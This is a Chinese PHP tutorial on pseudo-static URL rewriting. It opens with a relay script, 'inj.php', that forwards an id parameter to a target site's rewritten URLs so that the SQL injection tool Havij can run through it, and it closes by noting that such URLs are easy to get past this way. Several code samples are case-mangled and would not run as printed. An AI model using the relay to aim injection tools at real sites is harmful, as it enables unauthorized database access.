PHP 伪静态技术原理以及突破原理实现介绍

程序员文章站 2023-08-13 09:55:10

先说实现方法： inj.php: 复制代码代码如下:

先说实现方法：
inj.php:

 
<?php 
set_time_limit(10); 
$id=$_get["id"]; 
$id=str_replace(" ","%20",$id); 
$id=str_replace("=","%3d",$id); 
$url="http://www.xxx.com/index.php/library/more/id/$id.html"; 
$ch=curl_init(); 
curl_setopt($ch,curlopt_url,"$url"); 
curl_setopt($ch,curlopt_returntransfer,1);//启用时将curl_init()获取的信息以文件流的形式返回，而不是直接输出 
curl_setopt($ch,curlopt_header,0);//启用时会将头文件的信息作为数据流输出 
$output=curl_exec($ch); 
curl_close($ch); 
print_r($output); 
?> 

用wamp搭建一个服务器，把上面inj.php放到wamp/www/中，然后在havij中跑 http://127.0.0.1/inj.php?id=1
=============================
php伪静态实现方法一（利用apache 服务器的功能）
1、检查apache是否支持mod_rewrite
2、让apache 支持.htaccess
3、建立.htaccess文件
4、规则：
rewriteengine on
rewriterule ([a-za-z]{1,})-([0-9]{1,}).html$index.php?action=$1&id=$2
([a-za-z]{1,})-([0-9]{1,}) 是 url长啥样
$1 是([a-za-z]{1,}) 所匹配的
$2 是[0-9]{1,} 所匹配的
比如说：www.xx.com/page-18.html
真实的url如下：
action = page
id = 18
============================
php伪静态实现方法二（编码实现）
$php2html_fileurl = $_server["request_uri"]
echo $php2html_fileurl
例子：// localhost/php100/test.php?id|1@action|2

复制代码代码如下:

 
$php2html_urlstring = str_replace("?","",str_replace("/","",strrchr(strrchr($php2html_fileurl,"/"),"?")) )) 
/* 
内层的strrchr出来：/test.php?id|1@action|2 
外层的strrchr出来：id|1@action|2 
内层的str_replace出来：把 / 号去掉，本例子 没有 
外层的str_replace出来：把 ？号去掉，本例子 没有 
*/ 
$php2html_urlquerystrlist = explode("@",$php2html_urlstring); 
/*把str变成以@为界限划分的数组：id|1 和 action|2*/ 
foreach($php2html_urlquerystrlist as $php2html_urlquerystr) 
{ 
$php2html_tmparray = explode("|",$php2html_urlquerystr); 
/* id => 1 和 action => 2*/ 
$_get[$php2html_tmparray[0]] = $php2html_tmparray[1]; 
} 

============================
php伪静态实现方法三（编码实现）
例子: localhost/php100/test.php/1/2

复制代码代码如下:

 
$filename = basename($_server["script_name"]); 
echo $_server["script_name"]; 
echo $filename; 
if(strtolower($filename) == 'test.php'){ 
if(!empty($_get[id])){ 
$id=intval($_get[id]); 
echo $id; 
$action = intval($_get[action]); 
echo $action; 
}else{ 
$nav=$_server["request_uri"]; 
$script=$_server["srcipt_name"]; 
//这句话应该是把url前面那段给搞掉。。剩下 "1/2"之类的。。 
$nav=ereg_replace("$script","",urldecode($nav)); 
echo $nav; 
$vars = explode("/",$nav); 
print_r($vars); 
$id=intval($vars[1]); 
$action=intval($vars[2]); 
} 
echo $id.'&'.$action; 
} 

============================
php伪静态实现方法四（编码实现）

复制代码代码如下:

 
function mod_rewrite(){ 
global $_get; 
$nav = $_server["request_uri"]; 
$script_name = $_server["script_name"] 
$nav=substr(ereg_replace("$script_name"),"",urldecode($nav)),1); 
$nav=preg_replace("/^.ht(m){1}(l){0,1}$/","",$nav);//去掉尾部的htm或html 
$vars=explode("/",$nav); 
print_r($vars); 
for($i=0;$i<count($vars);$i+=2) 
{ 
$_get[$vars[$i]] = $vars[$i+1]; 
} 
return $_get; 
} 

============================
php伪静态实现方法五（编码实现）
例子：/1,100,8630.html

复制代码代码如下:

 
if(preg_match(“/\/(\d+),(\d+),(\d+)\.html/si”,$path_info,$arr_path)){ 
$gid =intval($arr_path[1]); //取得值1 
$sid =intval($arr_path[2]); //取得值100 
$softid =intval($arr_path[3]); //取得值8630 
} 
else 
echo "path:error!"; 

总结下：
（1）伪静态技术比较好突破，需要自己构造中转注入页面。
（2）伪静态技术原理都很简单，就是把原来的 index.php?id=1 这种形式的url给替换成其它形式。

上一篇：实用生僻字输入方法大全都是网上搜不到的

下一篇： php/js获取客户端mac地址的实现代码

PHP 伪静态技术原理以及突破原理实现介绍